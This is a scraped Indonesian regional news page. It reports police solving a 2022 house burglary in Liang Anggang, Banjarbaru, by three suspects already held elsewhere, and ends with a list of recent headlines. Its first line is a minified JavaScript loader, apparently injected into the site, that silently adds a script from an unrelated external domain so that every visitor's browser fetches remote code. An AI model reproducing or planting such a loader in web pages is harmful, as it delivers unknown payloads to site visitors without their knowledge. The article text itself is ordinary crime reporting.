(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Kawanan Pembobol Rumah Beraksi di Liang Anggang Dibekuk di Batola


KANALKALIMANTAN.COM, BANJARBARU – Unit Opsnal Reskrim (Macan Barbar) Polsek Liang Anggang berhasil mengungkap kasus pembobolan rumah di Jalan Golf Komplek Pondok Blok C Nomor 2 RT 07 RW 04, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru pada Minggu (14/8/2022) pukul 04.00 Wita.

Kapolsek Liang Anggang, AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi membeberkan kronologi kejadian tersebut.

Kejadian diketahui ketika korban bangun tidur kaget ketika melihat isi dompet yang didalamnya berupa STNK roda dua Yamaha Mio Soul GT dan uang Rp 1,2 juta beserta unitnya tidak ada lagi alias lenyap.

“Merasa dirugikan dengan total Rp 7,2 juta, korban melaporkan kejadian tersebut ke Polsek Liang Anggang,” ujarnya, Kamis (25/8/2022) siang.

 

 

Baca juga: Penadah Motor Hasil Rampasan Dua Oknum Polisi Ditangkap, Omen Ikut ke Penjara

Kemudian Macan Barbar yang dipimpin Katim Aiptu Deden A Lesmana menindaklanjuti laporan tersebut dengan mengumpulkan informasi dan penyelidikan.

“Dari informasi yang diperoleh, berhasil diketahui bahwa pelaku diamankan di Polres Batola dengan perkara yang sama,” sebutnya.

Pelaku berjumlah 3 orang berinisial S (32) alias Dobleh, FM (43) alias Imus dan D (40) alias Arman, ketiga diamankan di Polres Batola dalam perkara bongkar rumah di wilayah hukum Polres Batola.

“Kita melakukan koordinasi dengan Polres Batola untuk melakukan interogasi terhadap pelaku dan didapat informasi pernah melakukan aksinya sekali di wilayah hukum Polsek Liang Anggang,” bebernya.

Saat dilakukan interogasi pelaku membeberkan melakukan aksinya menggunakan alat berupa tiga buah linggis kecil, seperti alat congkel ban motor, sebilah obeng bergagang warna biru dan sebuah pisau dapur gagang dan sarung terbuat dari plastik berwarna hijau.

“Saat ini ketiganya sedang menjalani proses hukum di Polres Batola dengan perkara pasal 363 KUHP,” pungkasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

11 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

11 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

12 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.